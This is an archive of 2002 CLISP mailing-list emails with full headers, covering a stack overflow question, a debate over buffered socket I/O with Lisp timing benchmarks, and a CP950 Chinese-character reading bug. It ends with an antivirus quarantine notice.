3.31-VA-mm2 #1 (Debian)) id 17vyAg-0005zj-00 for ; Mon, 30 Sep 2002 03:53:06 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 5958C8D4DF; Mon, 30 Sep 2002 12:51:57 +0200 (CEST) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20020930105157.5958C8D4DF@thalassa.informatimago.com> Subject: [clisp-list] Lisp stack overflow. What to do? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 03:54:01 2002 X-Original-Date: Mon, 30 Sep 2002 12:51:57 +0200 (CEST) *** - Lisp stack overflow. RESET How can one increase the stack size? Is the limits-stack function related to this? How should it be used? Where is there anymore documentation about clisp implementation than the meager file:///usr/share/doc/packages/clisp/impnotes.html ? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- The name is Baud,...... James Baud. From Joerg-Cyril.Hoehle@t-systems.com Mon Sep 30 04:02:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vyJl-0007bY-00 for ; Mon, 30 Sep 2002 04:02:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 30 Sep 2002 13:02:11 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 Sep 2002 13:02:10 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com Subject: [clisp-list] TCP-based Network Server in CLISP: read-char vs. buf fering MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 04:03:12 2002 X-Original-Date: Mon, 30 Sep 2002 13:02:05 +0200 Hi, > > Using READ-CHAR-NO-HANG for i/o instead of sequence/array >functions is > > going to keep your program a _toy prototype_ with extremely poor >I think this conclusion is unjustified. What do you consider to be >extremely poor performance? Do you have any useful data? E.g. 3KB/sec or less instead of 300KB/sec, IIRC - see C) below A) Reading articles on high-performance (e.g. HP-Apache) suggest the use of buffering at all levels. B) Past experience with hard disk strongly suggest the use of buffering. The typical UNIX OS will read/write in chunks of 4 or 8 KB, which is fine. It's also my experimental lower limit below which disk i/o performance will seriously degrade. It's not trivial to measure this at application level, since the OS will buffer disks no matter what you do there. C) Old experience with CLISP's inspector strongly suggested buffering. I used line-buffered output IIRC. The effect I observed without it was the following: CLISP would output one (or a few) character of HTML. The OS would then dispatch the browser, which would read these few chars, display a little bit or discover that it needs more, the OS then would switch back to CLISP. etc. etc. That was unusably slow: IIRC more than two seconds to finish displaying the output! Moving the inspector from WRITE-CHAR to (line?) buffered output made the CLISP inspector + browser usable. With sockets and without buffering, your application is indeed free to degrade i/o performance, unlike disk i/o. >- How much slower is it to read one char at a time? Orders of magnitude in my chosen examples. There were also a couple of qualitative threads on the topics of buffering and READ-CHAR vs READ-SEQUENCE in comp.lang.lisp during the last years. >I expect you can get a large factor if you only compare something like >cpu usage for a single read that returns, say, 1K bytes to 1K tests Exactly. >and reads on single bytes. However I don't think that reflects the >true cost of most services. I'd say: Thank the frameworks which surround the services, not the service. > If your >server works well in that environment I think it deserves credit for >that regardless of how it might fare in some other environment. My experience is: the environment deserves credit for managing to make badly written applications/servers still perform at viable performance. The servers ought to do buffering before throwing their stuff out. Remember one of the HP-Apache papers. With sockets, it's IMHO the application's job to deal with buffering. Setting the TCP options "favour_throuput" or "favour_responsiveness" (name/sp?) is not enough for that. The read() and write() the application does have a direct impact on how packets go to the fibre, and are controlled by the application, while MTU etc. are global values. Regards, Jorg Hohle. From ampy@ich.dvo.ru Mon Sep 30 05:34:00 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vzkK-0003dU-00 for ; Mon, 30 Sep 2002 05:33:57 -0700 Received: from ppp149-AS-3.vtc.ru (ppp149-AS-3.vtc.ru [212.16.216.149]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8UCWtUS024567; Mon, 30 Sep 2002 23:33:07 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1099729880.20020930233144@ich.dvo.ru> To: "Wsj" CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Re[4]: Need help to use Chinese Character.. In-reply-To: <009201c2682a$a6c5ef20$0401a8c0@intel> References: <009201c2682a$a6c5ef20$0401a8c0@intel> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 05:34:14 2002 X-Original-Date: Mon, 30 Sep 2002 23:31:44 +1000 Hello Wsj, Monday, September 30, 2002, 12:39:50 PM, you wrote: >>I can suppose that statement that cause problem is >> var int result = read(handle,&b,1); # try to read a byte >>in stream.d [4549] and XP throws an error when there is twobyte >>character in buffer. Is there any specialists in the field ? > 2. Could you insert another result=read(handle,&c,1); when result <0, where c's size is two bytes ? It's all not so simple. You may help with following - please send me a _binary_ file (mail program shouldn't think it's a text file, so don't name it *.txt) with a word or two in CP950 which cause problem. I'll play with it. I don't promise anything although. -- Best regards, Arseny From sds@gnu.org Mon Sep 30 06:37:02 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17w0jO-0004s1-00 for ; Mon, 30 Sep 2002 06:37:02 -0700 Received: (cpmta 13284 invoked from network); 30 Sep 2002 06:36:59 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 30 Sep 2002 06:36:59 -0700 X-Sent: 30 Sep 2002 13:36:59 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8UDanX06715; Mon, 30 Sep 2002 09:36:49 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp stack overflow. What to do? References: <20020930105157.5958C8D4DF@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020930105157.5958C8D4DF@thalassa.informatimago.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 06:38:01 2002 X-Original-Date: 30 Sep 2002 09:36:49 -0400 > * In message <20020930105157.5958C8D4DF@thalassa.informatimago.com> > * On the subject of "[clisp-list] Lisp stack overflow. What to do?" > * Sent on Mon, 30 Sep 2002 12:51:57 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > *** - Lisp stack overflow. RESET > > How can one increase the stack size? read the manual for your stack (e.g., 'ulimit -s unlimited') do not use infinite recursion. > Where is there anymore documentation about clisp implementation than CLISP sources doc/* CLISP sources unix/* etc > the meager file:///usr/share/doc/packages/clisp/impnotes.html ? you gotta be kidding. 1 MB of docs is "meager"? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux usually: can't pay ==> don't buy. software: can't buy ==> don't pay From don-sourceforge@isis.cs3-inc.com Mon Sep 30 08:04:43 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17w26E-0006BZ-00 for ; Mon, 30 Sep 2002 08:04:43 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g8UF3wU18567; Mon, 30 Sep 2002 08:03:58 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15768.26589.235662.455405@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] re: TCP-based Network Server in CLISP: read-char vs. buffering Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 08:05:08 2002 X-Original-Date: Mon, 30 Sep 2002 08:03:57 -0700 Hoehle, Joerg-Cyril writes: > Hi, > > > > Using READ-CHAR-NO-HANG for i/o instead of sequence/array > >functions is > > > going to keep your program a _toy prototype_ with extremely poor > >I think this conclusion is unjustified. What do you consider to be > >extremely poor performance? Do you have any useful data? > > E.g. 3KB/sec or less instead of 300KB/sec, IIRC - see C) below Ok, here's my experiment on a 200MHz PC: (compile (defun f (file n) (with-open-file (s file) (setf (stream-element-type s) '(unsigned-byte 8)) (loop for i below n do (if (ext:READ-BYTE-WILL-HANG-P s) (return :hang)(read-byte s)))))) This is pretty much how my servers read. I assume the cost of read-byte and read-byte-will-hang-p is not greatly different for socket streams than for files. Files are just a lot more convenient to test than sockets. [5]> (time (f "/tmp/25MB" 10000)) Real time: 0.019146 sec. Run time: 0.01 sec. Space: 4584 Bytes NIL [6]> (time (f "/tmp/25MB" 100000)) Real time: 0.239794 sec. Run time: 0.23 sec. Space: 4584 Bytes NIL [7]> (time (f "/tmp/25MB" 1000000)) Real time: 2.016425 sec. Run time: 2.0 sec. Space: 4584 Bytes NIL [8]> > A) Reading articles on high-performance (e.g. HP-Apache) suggest the use of buffering at all levels. I guess I am buffering at every level - I put the bytes I read into an array for further lisp processing. Similarly I generally have an array of bytes waiting for output and do the output in an analogous way. Clearly at the lower level IO is still linear. Your argument is just that copying n bytes in memory has a much lower constant factor than doing n calls to read-byte and read-byte-will-hang-p. I grant that. But these calls are not very expensive compared to the other processing required per character. > > If your > >server works well in that environment I think it deserves credit for > >that regardless of how it might fare in some other environment. > > My experience is: the environment deserves credit for managing to make badly written applications/servers still perform at viable performance. And my view is that an application is not badly written in that case. I agree that more control over lower levels is a good thing. I just don't agree that any application written as above is necessarily a "toy". To me that means not suitable for "real" work. For instance, I consider a mail server to be doing "real" work. For the last year (or two, I forget) ALL of my mail has been received by just such a server. From Joerg-Cyril.Hoehle@t-systems.com Mon Sep 30 08:26:36 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17w2RN-0000lM-00 for ; Mon, 30 Sep 2002 08:26:34 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 30 Sep 2002 17:26:22 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 30 Sep 2002 17:26:22 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] AW: TCP-based Network Server in CLISP: read-char vs. buffering Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 08:27:14 2002 X-Original-Date: Mon, 30 Sep 2002 17:26:20 +0200 Don [Cohen?] writes: > I assume the cost of >read-byte and read-byte-will-hang-p is not greatly different for >socket streams than for files. IMHO that's a very wrong assumption. E.g., CLISP will automatically create a # for regular files. This means that already at the application level, read/write() calling behaviour will be different for both. Then, at OS level, vastly different things happen for sockets, pipes and files. > Files are just a lot more convenient to test than sockets. > [7]> (time (f "/tmp/25MB" 1000000)) > Real time: 2.016425 sec. > Run time: 2.0 sec. > Space: 4584 Bytes That is ~ 500KB/sec if I understood your code well. I believe you can achieve more with CLISP on that hardware - by working on larger entities than characters. How would that compare to n reads of 1KB or 10KB arrays on your machine? But with buffered streams, doing that would be benchmarking CLISP's bytecode interpreter, not OS i/o speed. Regards, Jorg Hohle. From pjb@informatimago.com Mon Sep 30 08:31:02 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17w2VO-0001oK-00 for ; Mon, 30 Sep 2002 08:30:43 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id C136995923; Mon, 30 Sep 2002 17:30:29 +0200 (CEST) From: Pascal Bourguignon To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 30 Sep 2002 09:36:49 -0400) Subject: Re: [clisp-list] Lisp stack overflow. What to do? Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: References: <20020930105157.5958C8D4DF@thalassa.informatimago.com> Message-Id: <20020930153029.C136995923@thalassa.informatimago.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 08:32:01 2002 X-Original-Date: Mon, 30 Sep 2002 17:30:29 +0200 (CEST) > From: Sam Steingold > Date: 30 Sep 2002 09:36:49 -0400 > > > * In message <20020930105157.5958C8D4DF@thalassa.informatimago.com> > > * On the subject of "[clisp-list] Lisp stack overflow. What to do?" > > * Sent on Mon, 30 Sep 2002 12:51:57 +0200 (CEST) > > * Honorable Pascal Bourguignon writes: > > > > *** - Lisp stack overflow. RESET > > > > How can one increase the stack size? > > read the manual for your stack (e.g., 'ulimit -s unlimited') > do not use infinite recursion. I already have it unlimited: [pascal@thalassa tmp]$ ulimit -s unlimited and I don't use infinite recursion. If I can count the number of recursions on my hand (in binary), it's definitely not infinite. In addition, it says: [20]> (posix:resource-usage-limits) #S(USAGE :USER-TIME 0.09d0 :SYSTEM-TIME 0.01d0 :MAX-RSS 0 :INT-RSS 0 :MINOR-PAGE-FAULTS 538 :MAJOR-PAGE-FAULTS 506 :NUM-SWAPS 0 :BLOCKS-INPUT 0 :BLOCKS-OUTPUT 0 :MESSAGES-SENT 0 :MESSAGES-RECEIVED 0 :SIGNALS 0 :CONTEXT-SWITCHES-VOLUNTARY 0 :CONTEXT-SWITCHES-INVOLUNTARY 0) ; #S(USAGE :USER-TIME 0.0d0 :SYSTEM-TIME 0.0d0 :MAX-RSS 0 :INT-RSS 0 :MINOR-PAGE-FAULTS 0 :MAJOR-PAGE-FAULTS 0 :NUM-SWAPS 0 :BLOCKS-INPUT 0 :BLOCKS-OUTPUT 0 :MESSAGES-SENT 0 :MESSAGES-RECEIVED 0 :SIGNALS 0 :CONTEXT-SWITCHES-VOLUNTARY 0 :CONTEXT-SWITCHES-INVOLUNTARY 0) ; #S(LIMITS :CORE 0:NIL :CPU NIL:NIL :HEAP NIL:NIL :FILE-SIZE NIL:NIL :NUM-FILES 1024:1024 :STACK NIL:NIL :VIRT-MEM NIL :RSS NIL:NIL :MEMLOCK NIL:NIL) Clearly, it's a problem with clisp, not with unix. With emacs, I set (let ((max-lisp-eval-depth 10000) (max-specpdl-size 10000)) ...) and it's working. > > Where is there anymore documentation about clisp implementation than > > > CLISP sources doc/* > CLISP sources unix/* > etc Ok, "Use the source, Luke!". But the problem with sources, is that they can change. The documentation can specify an inmutable API and its contract, the sources can't. > > the meager file:///usr/share/doc/packages/clisp/impnotes.html ? > > you gotta be kidding. 1 MB of docs is "meager"? No kidding. Where is the doc of LIMITS-STACK, and of hundreds of other functions not specified in CLHS? No kidding. Even for the functions that are documented, it's quite imprecise. For example you can't know from the doc whether ext:run-program runs it asynchronously or not. You only know that it "runs an external program", and you have to spend time to write and test a small program to know it. It doesn't even specify the defaults for :input and :output when they're not given. Compare with the doc of emacs shell-command which gives 10% more information, and precise the asynchronous or synchronous processing, and the input/output coding systems in addition to the equivalent arguments. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- The name is Baud,...... James Baud. From sds@gnu.org Mon Sep 30 09:05:27 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17w331-0000dK-00 for ; Mon, 30 Sep 2002 09:05:27 -0700 Received: (cpmta 24621 invoked from network); 30 Sep 2002 09:05:23 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 30 Sep 2002 09:05:23 -0700 X-Sent: 30 Sep 2002 16:05:23 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8UG54Q19739; Mon, 30 Sep 2002 12:05:04 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp stack overflow. What to do? References: <20020930105157.5958C8D4DF@thalassa.informatimago.com> <20020930153029.C136995923@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020930153029.C136995923@thalassa.informatimago.com> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 09:06:03 2002 X-Original-Date: 30 Sep 2002 12:05:04 -0400 > * In message <20020930153029.C136995923@thalassa.informatimago.com> > * On the subject of "Re: [clisp-list] Lisp stack overflow. What to do?" > * Sent on Mon, 30 Sep 2002 17:30:29 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > > From: Sam Steingold > > Date: 30 Sep 2002 09:36:49 -0400 > > > > > *** - Lisp stack overflow. RESET > > > > > > How can one increase the stack size? > > > > read the manual for your stack (e.g., 'ulimit -s unlimited') > > do not use infinite recursion. > > I already have it unlimited: > > [pascal@thalassa tmp]$ ulimit -s > unlimited do you print circular objects? if yes, you should set *print-circle* to T. you can also explore `-m' option. > > > the meager file:///usr/share/doc/packages/clisp/impnotes.html ? > > > > you gotta be kidding. 1 MB of docs is "meager"? > > Where is the doc of LIMITS-STACK, and of hundreds of > other functions not specified in CLHS? what is LIMITS-STACK? > No kidding. we always welcome patches and specific bug reports. please pitch in. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Bus error -- please leave by the rear door. From don-sourceforge@isis.cs3-inc.com Mon Sep 30 09:14:36 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17w3Br-00034Z-00 for ; Mon, 30 Sep 2002 09:14:36 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g8UGDvk18938; Mon, 30 Sep 2002 09:13:57 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15768.30788.101819.563897@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] AW: TCP-based Network Server in CLISP: read-char vs. buffering Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 09:15:16 2002 X-Original-Date: Mon, 30 Sep 2002 09:13:56 -0700 Hoehle, Joerg-Cyril writes: > Don [Cohen?] writes: > > I assume the cost of > >read-byte and read-byte-will-hang-p is not greatly different for > >socket streams than for files. > > IMHO that's a very wrong assumption. E.g., CLISP will automatically create a # for regular files. This means that already at the application level, read/write() calling behaviour will be different for both. Isn't it the same thing for tcp streams? In this case the OS already has a buffered stream so perhaps clisp doesn't need to do any more. > Then, at OS level, vastly different things happen for sockets, pipes and files. Ok, but we're really only concerned here with what happens in lisp. If the OS reads files 10 times as fast as tcp streams then I can read fewer bytes/sec from a tcp stream, but this example at least shows that clisp is not spending more than 2usec to do both a read-byte-will-hang-p and a read-byte. > > Files are just a lot more convenient to test than sockets. > > [7]> (time (f "/tmp/25MB" 1000000)) > > Real time: 2.016425 sec. > > Run time: 2.0 sec. > > Space: 4584 Bytes > That is ~ 500KB/sec if I understood your code well. I believe you can achieve more with CLISP on that hardware - by working on larger entities than characters. > How would that compare to n reads of 1KB or 10KB arrays on your data below machine? But with buffered streams, doing that would be benchmarking CLISP's bytecode interpreter, not OS i/o speed. OS IO speed is not the issue here, cause that's buffered in any case. The difference is whether you do a large IO operation in lisp that may read or write many bytes "at once" but also might block, or whether you test for each byte in order to avoid blocking. [5]> (compile (defun f (file n &aux (m 0)) (with-open-file (s file) (loop while (> n 0) do (decf n (length (read-line s))) (incf m)) m))) F ; NIL ; NIL [6]> (time (f "~/clocc/mail-log" 100000)) Real time: 0.058673 sec. Run time: 0.06 sec. Space: 222336 Bytes 1905 [7]> (time (f "~/clocc/mail-log" 1000000)) Real time: 0.646889 sec. Run time: 0.63 sec. Space: 2192024 Bytes GC: 4, GC time: 0.03 sec. 20076 So for this file the average read-line is about 50 chars and I read chars a little over 3 times as fast as before. (I assume that chars vs bytes don't make a big difference here.) From wsj@2mouse.com.tw Mon Sep 30 18:28:44 2002 Received: from 61-219-196-114.hinet-ip.hinet.net ([61.219.196.114] helo=apollo.office.2mouse.com.tw) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wBq4-0007Og-00 for ; Mon, 30 Sep 2002 18:28:40 -0700 Received: from intel (pc4.office.2mouse.com.tw [192.168.1.4]) by apollo.office.2mouse.com.tw (8.9.3/8.9.3) with SMTP id JAA24924; Tue, 1 Oct 2002 09:14:12 +0800 Reply-To: From: "Wsj" To: "'Arseny Slobodjuck'" Cc: Subject: RE: Re[2]: [clisp-list] Re[4]: Need help to use Chinese Character.. Message-ID: <000d01c268e9$c6815ab0$0401a8c0@intel> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_000E_01C2692C.D4A49AB0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-reply-To: <1099729880.20020930233144@ich.dvo.ru> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 18:29:02 2002 X-Original-Date: Tue, 1 Oct 2002 09:27:58 +0800 This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C2692C.D4A49AB0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: base64 RGVhciBBcnNlbnksDQogICBIZXJlIGFyZSB0aGUgQ1A5NTAgZmlsZXMNCiAgIDEuYmluICAgOiBv bmUgQ2hpbmVzZSBDaGFyYWN0ZXIgDQogICAyLmJpbiAgOiAgdHdvIENoaW5lc2UgQ2hhcmFjdGVy cw0KICAgDQogIFNpbmNlcmVseSwNCiAgV3NqDQoNCj5JdCdzIGFsbCBub3Qgc28gc2ltcGxlLg0K PllvdSBtYXkgaGVscCB3aXRoIGZvbGxvd2luZyAtIHBsZWFzZSBzZW5kIG1lIGEgX2JpbmFyeV8g ZmlsZSAobWFpbA0KPnByb2dyYW0gc2hvdWxkbid0IHRoaW5rIGl0J3MgYSB0ZXh0IGZpbGUsIHNv IGRvbid0IG5hbWUgaXQgKi50eHQpDQo+d2l0aCBhIHdvcmQgb3IgdHdvIGluIENQOTUwIHdoaWNo IGNhdXNlIHByb2JsZW0uIEknbGwgcGxheSB3aXRoIGl0Lg0KPiBJIGRvbid0IHByb21pc2UgYW55 dGhpbmcgYWx0aG91Z2guDQoNCg== ------=_NextPart_000_000E_01C2692C.D4A49AB0 Content-Type: application/octet-stream; name="1.bin" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="1.bin" uPQ= ------=_NextPart_000_000E_01C2692C.D4A49AB0 Content-Type: application/octet-stream; name="2.bin" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="2.bin" tPq41Q== ------=_NextPart_000_000E_01C2692C.D4A49AB0-- From NAISSDEXCHANGE1@ssd.fsi.com Mon Sep 30 18:29:29 2002 Received: from ssd1.ssd.fsi.com ([65.115.221.98] helo=ssd.fsi.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wBqp-0007Ro-00 for ; Mon, 30 Sep 2002 18:29:27 -0700 Message-ID: <1c5dd63b8d0ab0cb5a02624363dd23193d98fa76@ssd.fsi.com> From: "GroupShield for Exchange (EXCHANGE1)" To: 'Wsj' , 'Arseny Slobodjuck' , "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_786a2b5ddfec500f0c3983a90a541d0a" Subject: [clisp-list] ALERT - GroupShield ticket number OA575_1033435756_EXCHANGE1_3 w as generated Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 18:30:03 2002 X-Original-Date: Mon, 30 Sep 2002 20:29:19 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --=_786a2b5ddfec500f0c3983a90a541d0a Content-Type: text/plain Action Taken: The attachment was quarantined from the message and replaced with a text file informing the recipient of the action taken. To: 'Arseny Slobodjuck' ; clisp-list@lists.sourceforge.net From: Wsj Sent: -971431168,29518057 Subject: RE: Re[2]: [clisp-list] Re[4]: Need help to use Chinese Character.. Attachment Details:- 